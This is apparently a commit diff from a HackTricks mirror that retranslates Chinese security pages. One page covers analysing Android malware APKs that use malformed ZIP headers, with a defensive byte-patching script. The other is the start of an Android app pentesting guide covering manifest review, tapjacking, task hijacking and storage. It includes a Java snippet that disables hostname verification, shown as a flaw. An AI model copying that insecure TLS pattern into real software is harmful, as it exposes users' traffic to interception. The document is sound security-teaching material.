mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/windows-hardening/active-directory-methodology/silv
This commit is contained in:
		
							parent
							
								
									6916816789
								
							
						
					
					
						commit
						8246afa30b
					
				@ -2,37 +2,37 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**命令行工具** 用于管理 **zip files**,对诊断、修复和破解 zip files 至关重要。下面是一些关键的实用程序:
 | 
			
		||||
**命令行工具** 用于管理 **zip 文件** 对诊断、修复和破解 zip 文件至关重要。以下是一些关键实用程序:
 | 
			
		||||
 | 
			
		||||
- **`unzip`**:显示 zip 文件无法解压的原因。
 | 
			
		||||
- **`zipdetails -v`**:提供对 zip 文件格式字段的详细分析。
 | 
			
		||||
- **`zipinfo`**:在不解压的情况下列出 zip 文件的内容。
 | 
			
		||||
- **`zipinfo`**:列出 zip 文件的内容而不解压它们。
 | 
			
		||||
- **`zip -F input.zip --out output.zip`** 和 **`zip -FF input.zip --out output.zip`**:尝试修复损坏的 zip 文件。
 | 
			
		||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**:用于对 zip 密码进行暴力破解的工具,对大约 7 个字符以内的密码有效。
 | 
			
		||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**:一个用于对 zip 密码进行暴力破解的工具,对大约 7 个字符左右的密码有效。
 | 
			
		||||
 | 
			
		||||
[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) 提供了关于 zip files 结构和标准的全面细节。
 | 
			
		||||
该 [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) 提供关于 zip 文件结构和标准的全面细节。
 | 
			
		||||
 | 
			
		||||
需要注意的是,受密码保护的 zip files **不会加密文件名或文件大小**,这是一个安全缺陷,RAR 或 7z 文件可以加密这些信息。进一步地,使用较旧的 ZipCrypto 方法加密的 zip files 如果存在未加密的压缩文件副本,则容易遭受 **plaintext attack**。该攻击利用已知内容来破解 zip 的密码,相关漏洞在 [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) 中有描述,并在 [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) 中有更详细的解释。然而,使用 **AES-256** 加密的 zip files 对该 plaintext attack 免疫,这凸显了为敏感数据选择安全加密方法的重要性。
 | 
			
		||||
需要注意的是,受密码保护的 zip 文件 **不会对其中的文件名或文件大小进行加密**,这是一个安全缺陷,RAR 或 7z 等格式通过加密这些信息避免了该问题。此外,使用较旧的 ZipCrypto 方法加密的 zip 文件在存在某个压缩文件的未加密副本时容易受到 **plaintext attack**。该攻击利用已知内容来破解 zip 的密码,这一漏洞在 [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) 中有详细说明,并在 [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) 中进一步解释。然而,使用 **AES-256** 加密的 zip 文件对这种 plaintext attack 免疫,凸显为敏感数据选择安全加密方法的重要性。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 在 APKs 中使用篡改的 ZIP 头的反逆向技巧
 | 
			
		||||
## 在 APK 中使用被操纵的 ZIP 头部的反逆向技巧
 | 
			
		||||
 | 
			
		||||
现代 Android 恶意软件 dropper 会使用畸形的 ZIP 元数据来破坏静态工具(jadx/apktool/unzip),同时保持 APK 在设备上可安装。最常见的技巧有:
 | 
			
		||||
现代 Android 恶意软件 dropper 使用畸形的 ZIP 元数据来破坏静态工具(jadx/apktool/unzip),同时保持 APK 可在设备上安装。最常见的技巧包括:
 | 
			
		||||
 | 
			
		||||
- 通过设置 ZIP General Purpose Bit Flag (GPBF) 的位 0 来伪装加密
 | 
			
		||||
- 通过设置 ZIP General Purpose Bit Flag (GPBF) 的第 0 位来伪造加密
 | 
			
		||||
- 滥用大型/自定义 Extra 字段以混淆解析器
 | 
			
		||||
- 通过文件/目录名冲突来隐藏真实工件(例如,在真实的 `classes.dex` 旁边放置一个名为 `classes.dex/` 的目录)
 | 
			
		||||
- 文件/目录名冲突以隐藏真实痕迹(例如,在真实的 `classes.dex` 旁边有一个名为 `classes.dex/` 的目录)
 | 
			
		||||
 | 
			
		||||
### 1) 伪装加密(设置 GPBF 位 0)但没有真实加密
 | 
			
		||||
### 1) 伪造加密(设置 GPBF 第 0 位)但没有真正的加密
 | 
			
		||||
 | 
			
		||||
症状:
 | 
			
		||||
- `jadx-gui` 会报错,例如:
 | 
			
		||||
- `jadx-gui` 会出现类似错误:
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
 | 
			
		||||
```
 | 
			
		||||
- `unzip` 会提示输入核心 APK 文件的密码,尽管有效的 APK 不能对 `classes*.dex`, `resources.arsc`, 或 `AndroidManifest.xml` 进行加密:
 | 
			
		||||
- `unzip` 会针对核心 APK 文件提示输入密码,尽管有效的 APK 不可能对 `classes*.dex`, `resources.arsc`, 或 `AndroidManifest.xml` 进行加密:
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
unzip sample.apk
 | 
			
		||||
@ -47,7 +47,7 @@ Detection with zipdetails:
 | 
			
		||||
```bash
 | 
			
		||||
zipdetails -v sample.apk | less
 | 
			
		||||
```
 | 
			
		||||
查看本地和中央头部的通用用途位标志 (General Purpose Bit Flag)。一个明显的值是位 0 被设置 (Encryption),即使对于核心条目也是如此:
 | 
			
		||||
查看本地文件头和中央目录头的通用用途位标志。一个明显的值是即使对于核心条目也设置了 bit 0(Encryption):
 | 
			
		||||
```
 | 
			
		||||
Extract Zip Spec      2D '4.5'
 | 
			
		||||
General Purpose Flag  0A09
 | 
			
		||||
@ -56,9 +56,9 @@ General Purpose Flag  0A09
 | 
			
		||||
[Bit 3]   1 'Streamed'
 | 
			
		||||
[Bit 11]  1 'Language Encoding'
 | 
			
		||||
```
 | 
			
		||||
启发式:如果 APK 在设备上安装并运行,但工具显示核心条目“加密”,则 GPBF 被篡改。
 | 
			
		||||
启发式:如果一个 APK 能在设备上安装并运行,但在工具中核心条目显示为“加密”,则 GPBF 已被篡改。
 | 
			
		||||
 | 
			
		||||
修复方法:在 Local File Headers (LFH) 和 Central Directory (CD) 条目中清除 GPBF 的 bit 0。最小 byte-patcher:
 | 
			
		||||
通过清除 Local File Headers (LFH) 和 Central Directory (CD) 条目中的 GPBF bit 0 来修复。最小字节补丁程序:
 | 
			
		||||
```python
 | 
			
		||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
 | 
			
		||||
import struct, sys
 | 
			
		||||
@ -89,38 +89,38 @@ data, p_cdh = patch_flags(data, SIG_CDH, 8)  # CDH flag at +8
 | 
			
		||||
open(outp, 'wb').write(data)
 | 
			
		||||
print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
 | 
			
		||||
```
 | 
			
		||||
使用:
 | 
			
		||||
用法:
 | 
			
		||||
```bash
 | 
			
		||||
python3 gpbf_clear.py obfuscated.apk normalized.apk
 | 
			
		||||
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
 | 
			
		||||
```
 | 
			
		||||
你现在应该会在核心条目上看到 `General Purpose Flag  0000`,工具将再次解析 APK。
 | 
			
		||||
 | 
			
		||||
### 2) 大型/自定义 Extra 字段以破坏解析器
 | 
			
		||||
### 2) 大/自定义 Extra fields 来破坏 parsers
 | 
			
		||||
 | 
			
		||||
攻击者会在 header 中填充超大的 Extra 字段和奇怪的 ID 来触发反编译器错误。在野外样本中你可能会看到嵌入的自定义标记(例如像 `JADXBLOCK` 这样的字符串)。
 | 
			
		||||
攻击者会将超大的 Extra fields 和奇怪的 ID 塞入 headers 以诱发 decompilers。在实战中你可能会看到自定义标记(例如像 `JADXBLOCK` 这样的字符串)嵌入其中。
 | 
			
		||||
 | 
			
		||||
检查:
 | 
			
		||||
```bash
 | 
			
		||||
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
 | 
			
		||||
```
 | 
			
		||||
观察到的示例:未知 ID,如 `0xCAFE`("Java Executable")或 `0x414A`("JA:")携带大量 payloads。
 | 
			
		||||
观察到的示例:未知 ID,例如 `0xCAFE`("Java Executable")或 `0x414A`("JA:")承载大量 payload。
 | 
			
		||||
 | 
			
		||||
DFIR 启发式规则:
 | 
			
		||||
- 当核心条目的 Extra fields 异常大时发出警报(`classes*.dex`、`AndroidManifest.xml`、`resources.arsc`)。
 | 
			
		||||
DFIR heuristics:
 | 
			
		||||
- 当核心条目的 Extra fields 异常大时触发告警(`classes*.dex`、`AndroidManifest.xml`、`resources.arsc`)。
 | 
			
		||||
- 将这些条目上的未知 Extra IDs 视为可疑。
 | 
			
		||||
 | 
			
		||||
实用缓解措施:重建归档(例如,重新压缩提取的文件)会移除恶意的 Extra fields。如果工具因假加密而拒绝提取,先如上清除 GPBF bit 0,然后重新打包:
 | 
			
		||||
实际缓解措施:重建归档(例如,重新压缩已解压的文件)会去除恶意的 Extra 字段。如果工具因伪造的加密而拒绝解压,先如上清除 GPBF bit 0,然后重新打包:
 | 
			
		||||
```bash
 | 
			
		||||
mkdir /tmp/apk
 | 
			
		||||
unzip -qq normalized.apk -d /tmp/apk
 | 
			
		||||
(cd /tmp/apk && zip -qr ../clean.apk .)
 | 
			
		||||
```
 | 
			
		||||
### 3) 文件/目录 名称冲突(隐藏真实痕迹)
 | 
			
		||||
### 3) 文件/目录名称冲突(隐藏真实工件)
 | 
			
		||||
 | 
			
		||||
一个 ZIP 可以同时包含文件 `X` 和目录 `X/`。某些解压器和反编译器会混淆,可能会用目录条目覆盖或隐藏真实文件。已观察到条目与像 `classes.dex` 这样的核心 APK 名称发生冲突。
 | 
			
		||||
ZIP 可以同时包含文件 `X` 和目录 `X/`。某些提取器和反编译器可能会混淆,并可能用目录条目覆盖或隐藏真实文件。已在与核心 APK 名称(如 `classes.dex`)冲突的条目中观察到这种情况。
 | 
			
		||||
 | 
			
		||||
初步评估与安全提取:
 | 
			
		||||
分类与安全提取:
 | 
			
		||||
```bash
 | 
			
		||||
# List potential collisions (names that differ only by trailing slash)
 | 
			
		||||
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
 | 
			
		||||
@ -148,10 +148,10 @@ for base, variants in collisions.items():
 | 
			
		||||
if len(variants) > 1:
 | 
			
		||||
print('COLLISION', base, '->', variants)
 | 
			
		||||
```
 | 
			
		||||
Blue-team detection ideas:
 | 
			
		||||
- 标记那些本地头部标记为加密 (GPBF bit 0 = 1) 但仍可安装/运行的 APKs。
 | 
			
		||||
- 标记核心条目上大型或未知的 Extra fields(检查类似 `JADXBLOCK` 的标记)。
 | 
			
		||||
- 标记路径冲突 (`X` 和 `X/`),尤其是对 `AndroidManifest.xml`、`resources.arsc`、`classes*.dex`。
 | 
			
		||||
Blue-team 检测思路:
 | 
			
		||||
- 标记本地头部标记为加密 (GPBF bit 0 = 1) 但仍能安装/运行的 APKs。
 | 
			
		||||
- 标记核心条目上较大/未知的 Extra fields(查找像 `JADXBLOCK` 之类的标记)。
 | 
			
		||||
- 标记路径冲突 (`X` 和 `X/`),特别针对 `AndroidManifest.xml`、`resources.arsc`、`classes*.dex`。
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							@ -1,10 +1,10 @@
 | 
			
		||||
# Android 应用程序 Pentesting
 | 
			
		||||
# Android 应用 Pentesting
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Android 应用基础
 | 
			
		||||
## Android 应用 基础
 | 
			
		||||
 | 
			
		||||
强烈建议先阅读此页面,以了解与 Android 安全相关的 **最重要的部分** 以及 Android 应用中 **最危险的组件**:
 | 
			
		||||
强烈建议先阅读此页面,以了解与 Android 安全相关的**最重要部分以及 Android 应用中最危险的组件**:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -13,24 +13,24 @@ android-applications-basics.md
 | 
			
		||||
 | 
			
		||||
## ADB (Android Debug Bridge)
 | 
			
		||||
 | 
			
		||||
这是连接 Android 设备(模拟或真实设备)所需的主要工具。\
 | 
			
		||||
这是连接 Android 设备(模拟或物理)所需的主要工具。\
 | 
			
		||||
**ADB** 允许从计算机通过 **USB** 或 **Network** 控制设备。该工具支持双向 **复制** 文件、**安装** 和 **卸载** 应用、**执行** shell 命令、**备份** 数据、**读取** 日志等功能。
 | 
			
		||||
 | 
			
		||||
查看以下 [**ADB Commands**](adb-commands.md) 列表以学习如何使用 adb。
 | 
			
		||||
 | 
			
		||||
## Smali
 | 
			
		||||
 | 
			
		||||
有时对应用的代码进行修改以获取 **隐藏的信息**(例如被严重混淆的密码或 flags)是有意义的。此时,反编译 apk、修改代码并重新编译可能非常有用。\
 | 
			
		||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。这可以作为在即将进行的 dynamic analysis 中若干测试的 **替代方法**。请 **始终记住这一可能性**。
 | 
			
		||||
有时为了访问 **隐藏信息**(例如高度混淆的密码或 flags),修改应用代码会很有用。因此,可能需要反编译 apk、修改代码并重新编译。\
 | 
			
		||||
[**在本教程中** 你可以 **学习如何反编译 APK、修改 Smali 代码并重新编译 APK** 以加入新功能](smali-changes.md)。这在进行动态分析时作为若干测试的**替代方法**非常有用。请始终**记住**这一可能性。
 | 
			
		||||
 | 
			
		||||
## Other interesting tricks
 | 
			
		||||
 | 
			
		||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- [在 Play Store 中伪装你的位置](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
 | 
			
		||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
 | 
			
		||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
 | 
			
		||||
- [利用不安全的 In-App 更新机制](insecure-in-app-update-rce.md)
 | 
			
		||||
- [滥用 Accessibility Services (Android RAT)](accessibility-services-abuse.md)
 | 
			
		||||
- **下载 APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
 | 
			
		||||
- 从设备提取 APK:
 | 
			
		||||
- 从设备提取 APK:
 | 
			
		||||
```bash
 | 
			
		||||
adb shell pm list packages
 | 
			
		||||
com.android.insecurebankv2
 | 
			
		||||
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 | 
			
		||||
 | 
			
		||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
 | 
			
		||||
```
 | 
			
		||||
- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks:
 | 
			
		||||
- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks:
 | 
			
		||||
```bash
 | 
			
		||||
mkdir splits
 | 
			
		||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
 | 
			
		||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
 | 
			
		||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
 | 
			
		||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 | 
			
		||||
```
 | 
			
		||||
## 案例研究与漏洞
 | 
			
		||||
## Case Studies & Vulnerabilities
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
 | 
			
		||||
 | 
			
		||||
## Static Analysis
 | 
			
		||||
 | 
			
		||||
首先,分析 APK 时你应该使用反编译器**查看 Java 代码**。\
 | 
			
		||||
请, [**read here to find information about different available decompilers**](apk-decompilers.md).
 | 
			
		||||
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
 | 
			
		||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
 | 
			
		||||
 | 
			
		||||
### Looking for interesting Info
 | 
			
		||||
 | 
			
		||||
仅仅查看 APK 的 **strings** 就可以搜索 **passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** 以及其他任何有趣的信息……甚至要留意代码执行的 **backdoors** 或认证后门(应用中硬编码的管理员凭据)。
 | 
			
		||||
只需查看 APK 的 **strings** 就可以搜索 **passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** 以及其他有价值的信息……甚至查找代码执行的 **backdoors** 或身份验证 backdoors(应用的硬编码管理员凭据)。
 | 
			
		||||
 | 
			
		||||
**Firebase**
 | 
			
		||||
 | 
			
		||||
特别注意 **Firebase** URL 并检查其是否配置不当。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 | 
			
		||||
特别注意 **firebase URLs** 并检查其是否配置不当。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
 | 
			
		||||
 | 
			
		||||
### Basic understanding of the application - Manifest.xml, strings.xml
 | 
			
		||||
 | 
			
		||||
**检查应用的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,也可以将 APK 重命名为 .zip 然后解压来获取。
 | 
			
		||||
**对应用程序的 _Manifest.xml_ 和 **_strings.xml_** 文件的检查可以暴露潜在的安全漏洞**。这些文件可以通过反编译器访问,或将 APK 的文件扩展名重命名为 .zip 然后解压来获取。
 | 
			
		||||
 | 
			
		||||
从 **Manifest.xml** 中可识别的**漏洞**包括:
 | 
			
		||||
**从 _Manifest.xml_ 识别出的漏洞包括:**
 | 
			
		||||
 | 
			
		||||
- **Debuggable Applications**: 如果在 _Manifest.xml_ 中将应用设置为 debuggable(`debuggable="true"`),则存在风险,因为这允许连接并可能被利用。有关如何利用 debuggable 应用的更多信息,请参考关于在设备上查找和利用 debuggable applications 的教程。
 | 
			
		||||
- **Backup Settings**: 对于处理敏感信息的应用,应显式设置 `android:allowBackup="false"`,以防止通过 adb 在 usb debugging 启用时进行未授权的数据备份。
 | 
			
		||||
- **Network Security**: 自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)位于 _res/xml/_ 中,可指定证书 pin、HTTP 流量设置等安全细节。例如,可以为特定域允许 HTTP 流量。
 | 
			
		||||
- **Exported Activities and Services**: 在 manifest 中识别 exported activities 和 services 可以突出可能被滥用的组件。在动态测试阶段的进一步分析可以揭示如何利用这些组件。
 | 
			
		||||
- **Content Providers and FileProviders**: 暴露的 content providers 可能允许未授权访问或修改数据。还应仔细检查 FileProviders 的配置。
 | 
			
		||||
- **Broadcast Receivers and URL Schemes**: 这些组件可能被用来进行利用,尤其要关注 URL scheme 的处理方式以防止输入相关漏洞。
 | 
			
		||||
- **SDK Versions**: `minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调不应支持过时且存在漏洞的 Android 版本以确保安全性。
 | 
			
		||||
- **Debuggable Applications**: 在 _Manifest.xml_ 文件中将应用设置为 debuggable (`debuggable="true"`) 会带来风险,因为它允许连接从而可能被利用。有关如何发现并利用可调试应用的更多信息,请参考相关教程。
 | 
			
		||||
- **Backup Settings**: 对于处理敏感信息的应用,应显式设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 usb debugging 时。
 | 
			
		||||
- **Network Security**: 在 _res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定证书 pin 和 HTTP 流量设置等安全细节。例如允许针对特定域的 HTTP 流量。
 | 
			
		||||
- **Exported Activities and Services**: 在 manifest 中识别 exported 的 activities 和 services 可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
 | 
			
		||||
- **Content Providers and FileProviders**: 暴露的 content providers 可能允许未授权访问或修改数据。FileProviders 的配置也应仔细审查。
 | 
			
		||||
- **Broadcast Receivers and URL Schemes**: 这些组件可能被用于利用,特别需要注意 URL schemes 如何管理以防止输入相关的漏洞。
 | 
			
		||||
- **SDK Versions**: `minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调了不要支持过时且存在已知漏洞的 Android 版本以保证安全。
 | 
			
		||||
 | 
			
		||||
从 **strings.xml** 文件中,可以发现敏感信息,如 API keys、自定义 schema 以及开发者备注,说明需要仔细检查这些资源。
 | 
			
		||||
从 **strings.xml** 文件中,可以发现敏感信息,如 API keys、自定义 schema 及其他开发者注释,凸显了对这些资源进行仔细审查的必要性。
 | 
			
		||||
 | 
			
		||||
### Tapjacking
 | 
			
		||||
 | 
			
		||||
**Tapjacking** 是一种攻击,攻击者启动一个**恶意** **应用** 并**将其置于受害者应用之上**。一旦它遮挡了受害应用,其用户界面设计会诱导用户与其交互,同时将交互传递给受害应用。\
 | 
			
		||||
实际上,它是**让用户无法察觉自己实际上是在对受害应用执行操作**。
 | 
			
		||||
**Tapjacking** 是一种攻击,攻击者启动一个 **malicious application** 并将其定位在受害应用之上。一旦其可见地遮挡住受害应用,其用户界面将被设计为欺骗用户与之交互,同时将交互传递给受害应用。\
 | 
			
		||||
实际上,这会**使用户无法察觉他们实际上正在对受害应用执行操作**。
 | 
			
		||||
 | 
			
		||||
更多信息请见:
 | 
			
		||||
Find more information in:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -104,9 +104,9 @@ tapjacking.md
 | 
			
		||||
 | 
			
		||||
### Task Hijacking
 | 
			
		||||
 | 
			
		||||
如果一个 **activity** 的 **`launchMode`** 设置为 **`singleTask` 且未定义 `taskAffinity`**,则会容易受到 Task Hijacking。也就是说,如果在真实应用之前安装并启动了另一个应用,该应用可能**劫持真实应用的任务**(用户会以为自己在使用真实应用,实际上在与**恶意应用**交互)。
 | 
			
		||||
如果一个 activity 的 **`launchMode`** 被设置为 **`singleTask`** 且没有定义任何 **`taskAffinity`**,则该 activity 易受 Task Hijacking。 这意味着,如果在真实应用之前安装并启动一个应用,它可能会**劫持真实应用的 task**(因此用户会以为自己在使用真实应用,实际上在与恶意应用交互)。
 | 
			
		||||
 | 
			
		||||
更多信息见:
 | 
			
		||||
More info in:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -117,65 +117,65 @@ android-task-hijacking.md
 | 
			
		||||
 | 
			
		||||
**Internal Storage**
 | 
			
		||||
 | 
			
		||||
在 Android 中,存储在 **internal** 存储中的文件设计为仅可被**创建它们的应用**访问。这一安全措施由 Android 操作系统强制执行,通常足以满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的模式来**允许**不同应用之间**共享**文件。但这些模式**不会限制**其他应用(包括潜在的恶意应用)对这些文件的访问。
 | 
			
		||||
在 Android 中,存储在 **internal** 存储的文件被设计为仅可被创建它们的 **app** 访问。这一安全措施由 Android 操作系统强制执行,通常足以满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的模式以**允许**文件在不同应用之间共享。但这些模式**不会限制**其他应用(包括潜在的恶意应用)对这些文件的访问。
 | 
			
		||||
 | 
			
		||||
1. **Static Analysis:**
 | 
			
		||||
- **检查** 是否使用了 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE`。这些模式**可能会暴露**文件,导致**非预期或未授权访问**。
 | 
			
		||||
- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**。这些模式**可能会暴露**文件给意外或未授权的访问。
 | 
			
		||||
2. **Dynamic Analysis:**
 | 
			
		||||
- **验证** 应用创建的文件的**权限设置**。特别是,**检查**是否有文件被设置为可被全局读取或写入。这会带来重大安全风险,因为这将允许安装在设备上的**任何应用**(无论来源或目的)**读取或修改**这些文件。
 | 
			
		||||
- **Verify** the **permissions** set on files created by the app。特别是,**检查**是否有任何文件被设置为全局可读或可写。这可能构成重大安全风险,因为它将允许设备上安装的**任何应用**(无论来源或意图)读取或修改这些文件。
 | 
			
		||||
 | 
			
		||||
**External Storage**
 | 
			
		||||
 | 
			
		||||
处理外部存储(如 SD 卡)上的文件时,应采取以下预防措施:
 | 
			
		||||
在处理位于外部存储(如 SD 卡)上的文件时,应采取如下预防措施:
 | 
			
		||||
 | 
			
		||||
1. **可访问性**:
 | 
			
		||||
1. **Accessibility**:
 | 
			
		||||
- 外部存储上的文件是**全局可读可写**的。这意味着任何应用或用户都可以访问这些文件。
 | 
			
		||||
2. **安全顾虑**:
 | 
			
		||||
- 鉴于访问便利,建议**不要将敏感信息存储在外部存储上**。
 | 
			
		||||
2. **Security Concerns**:
 | 
			
		||||
- 鉴于易访问性,建议**不要在外部存储上保存敏感信息**。
 | 
			
		||||
- 外部存储可以被移除或被任何应用访问,因此安全性较低。
 | 
			
		||||
3. **处理来自外部存储的数据**:
 | 
			
		||||
- 从外部存储读取数据时**始终进行输入验证**。这是关键,因为这些数据来自不受信任的来源。
 | 
			
		||||
- 强烈不建议将可执行文件或 class 文件存放在外部存储以供动态加载。
 | 
			
		||||
- 如果应用必须从外部存储检索可执行文件,确保这些文件在动态加载前**已签名并经过加密校验**。此步骤对于维护应用的安全完整性至关重要。
 | 
			
		||||
3. **Handling Data from External Storage**:
 | 
			
		||||
- 始终对从外部存储检索的数据执行**输入验证**,这很重要,因为这些数据来自不受信任的来源。
 | 
			
		||||
- 强烈不建议将可执行文件或 class 文件存放在外部存储上以便动态加载。
 | 
			
		||||
- 如果你的应用必须从外部存储检索可执行文件,确保在动态加载之前对这些文件进行签名和加密学验证。这一步对于维护应用的安全完整性至关重要。
 | 
			
		||||
 | 
			
		||||
外部存储可在 /storage/emulated/0 , /sdcard , /mnt/sdcard 访问
 | 
			
		||||
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 从 Android 4.4(**API 17**)开始,SD 卡有一个目录结构,**限制应用只能访问专属于该应用的目录**。这可防止恶意应用获取对其他应用文件的读写访问。
 | 
			
		||||
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
 | 
			
		||||
 | 
			
		||||
**以明文存储的敏感数据**
 | 
			
		||||
**Sensitive data stored in clear-text**
 | 
			
		||||
 | 
			
		||||
- **Shared preferences**: Android 允许每个应用轻松将 xml 文件保存在路径 `/data/data/<packagename>/shared_prefs/`,有时可以在该文件夹中发现明文的敏感信息。
 | 
			
		||||
- **Databases**: Android 允许每个应用轻松将 sqlite 数据库存储在路径 `/data/data/<packagename>/databases/`,有时可以在该文件夹中发现明文的敏感信息。
 | 
			
		||||
- **Shared preferences**: Android 允许每个应用很容易地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件,有时可以在该文件夹中发现以明文存储的敏感信息。
 | 
			
		||||
- **Databases**: Android 允许每个应用很容易地在路径 `/data/data/<packagename>/databases/` 中保存 sqlite 数据库,有时可以在该文件夹中发现以明文存储的敏感信息。
 | 
			
		||||
 | 
			
		||||
### Broken TLS
 | 
			
		||||
 | 
			
		||||
**Accept All Certificates**
 | 
			
		||||
 | 
			
		||||
有时开发者会接受所有证书,即使例如 hostname 不匹配,也会出现类似如下代码行:
 | 
			
		||||
出于某些原因,开发者有时会接受所有证书,即使例如 hostname 不匹配,也会使用类似以下的代码行:
 | 
			
		||||
```java
 | 
			
		||||
SSLSocketFactory sf = new cc(trustStore);
 | 
			
		||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
 | 
			
		||||
```
 | 
			
		||||
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
 | 
			
		||||
 | 
			
		||||
### 加密学缺陷
 | 
			
		||||
### 不安全的加密
 | 
			
		||||
 | 
			
		||||
**密钥管理不当**
 | 
			
		||||
**Poor Key Management Processes**
 | 
			
		||||
 | 
			
		||||
一些开发者将敏感数据保存在本地存储中,并使用硬编码/可预测的密钥进行加密。这不应该这样做,因为一些逆向工程可能允许攻击者提取机密信息。
 | 
			
		||||
有些开发者会将敏感数据保存在本地存储,并用硬编码/可预测的密钥在代码中进行加密。这样做不应该被允许,因为一些逆向工程可能让攻击者提取机密信息。
 | 
			
		||||
 | 
			
		||||
**使用不安全和/或已废弃的算法**
 | 
			
		||||
**Use of Insecure and/or Deprecated Algorithms**
 | 
			
		||||
 | 
			
		||||
